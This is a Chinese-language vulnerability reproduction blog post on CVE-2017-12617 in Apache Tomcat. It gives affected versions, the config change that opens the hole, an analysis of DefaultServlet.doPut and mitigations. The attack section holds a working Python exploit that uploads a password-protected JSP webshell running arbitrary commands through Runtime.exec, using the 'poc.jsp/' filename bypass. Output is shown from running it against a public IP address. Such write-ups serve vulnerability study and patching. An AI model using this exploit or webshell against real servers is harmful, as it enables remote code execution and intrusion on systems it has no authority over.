CVE-2017-12617

基本信息#

When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

影响范围:

  • 7.0.0 - 7.0.81
  • 8.0.0.RC1 - 8.0.46
  • 8.5.0 - 8.5.22
  • 9.0.0.M1 - 9.0.0

描述:

当在Tomcatweb.xml配置文件中设置readonlyfalse时,攻击者可以通过PUT请求能够上传任意文件,当上传恶意的jsp文件时,就可以通过jspwebshell文件获得shell

漏洞复现#

环境配置#

Step1http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/apache-tomcat-7.0.79.tar.gz

image-20200916170033271

Step 2:修改配置文件,增加readonly = false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    <servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
+ <init-param>
+ <param-name>readonly</param-name>
+ <param-value>false</param-value>
+ </init-param>
<load-on-startup>1</load-on-startup>
</servlet>

攻击#

Step1 :构造PUT请求验证漏洞是否存在

请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def verify(url,port):
vul_url = url+":"+port
print("target:",vul_url)

poc_path = urlparse.urljoin(vul_url,"test.txt")
print(poc_path)
payload = "This is Vulnerable CVE-2017-12617!"

poc_req = requests.put(url = poc_path,data = payload, verify = False)

poc_content = requests.get(url = poc_path,verify = False).content
if("CVE-2017-12617" in poc_content):
print("CVE-2017-12617 exsits in this target!")
else:
print("No CVE-2017-12617 in this target!")

结果:

1
2
3
4
# python CVE-2017-12617.py -u http://47.100.18.67 -p 8080 --choice verify
('target:', 'http://47.100.18.67:8080')
http://47.100.18.67:8080/test.txt
CVE-2017-12617 exsits in this target!

同时可以看到在根目录下出现了test.txt文件

Step2: 上传恶意jsp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def attack(url,port):
payload = """<%
if("password".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
vul_url = url+":"+port
print("target:",vul_url)

#由于本身不允许直接上传jsp文件,但可能可以通过构造绕过
#参考:https://www.cnblogs.com/leixiao-/p/10264236.html
poc_path = urlparse.urljoin(vul_url,"poc.jsp/")
print(poc_path)

poc_req = requests.put(url = poc_path,data = payload, verify = False)
print(poc_req.status_code)
poc_content = requests.get(url = urlparse.urljoin(vul_url,"poc.jsp")+"?pwd=password&i=whoami",verify = False).content
if(poc_content==""):
print("Attack failed!")
else:
# print("whoami result:",poc_content)
print("Attack success!")
1
2
3
4
# python CVE-2017-12617.py -u http://47.100.18.67 -p 8080 --choice attack
('target:', 'http://47.100.18.67:8080')
http://47.100.18.67:8080/poc.jsp/
Attack success!

http://47.100.18.67:8080/poc.jsp?pwd=password&i=ls

image-20200916184617682

原理#

./conf/web.xml

从配置文件可以看到,.jsp.jspx后缀会交给org.apache.jasper.servlet.JspServlet类进行处理,其余交给org.apache.catalina.servlets.DefaultServlet类处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
104         <servlet-name>default</servlet-name>
105 <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
...
251 <servlet-name>jsp</servlet-name>
252 <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
...
382 <servlet-mapping>
383 <servlet-name>default</servlet-name>
384 <url-pattern>/</url-pattern>
385 </servlet-mapping>
...
388 <servlet-mapping>
389 <servlet-name>jsp</servlet-name>
390 <url-pattern>*.jsp</url-pattern>
391 <url-pattern>*.jspx</url-pattern>
392 </servlet-mapping>

DefaultServlet#

./java/org/apache/catalina/servlets/DefaultServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 检查readOnly
if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}

String path = getRelativePath(req);
// 判断文件是否已经存在
boolean exists = true;
try {
resources.lookup(path);
} catch (NamingException e) {
exists = false;
}

boolean result = true;

// Temp. content file used to support partial PUT
File contentFile = null;

Range range = parseContentRange(req, resp);

InputStream resourceInputStream = null;

// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
// 得到put请求的内容
if (range != null) {
contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}

try {
// 将内容输出到文件中
Resource newResource = new Resource(resourceInputStream);
// FIXME: Add attributes
if (exists) {
resources.rebind(path, newResource);
} else {
resources.bind(path, newResource);
}
} catch(NamingException e) {
result = false;
}

if (result) {
if (exists) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}

}
  • 判断readOnly是否开启
  • 判断文件是否已存在
  • 将PUT请求内容输出到文件

利用方法#

由于Tomcat本身不允许上传jsp文件,因此选择使用DefaultServlet创建jsp文件

利用操作系统的特性:

  • Windows不会识别空格为文件名后缀
  • Linux不会识别/为文件名后缀

因此上传时设置文件名为jsp%20或者jsp/,让Tomcat使用DefaultServlet创建文件,由于系统特性,最后生成的文件为jsp文件,攻击者访问即可get shell

防护方法#

  1. 不启用readonly设置
  2. DefaultServlet中加入对/以及%20的判断
  3. patch链接:

参考资料#

评论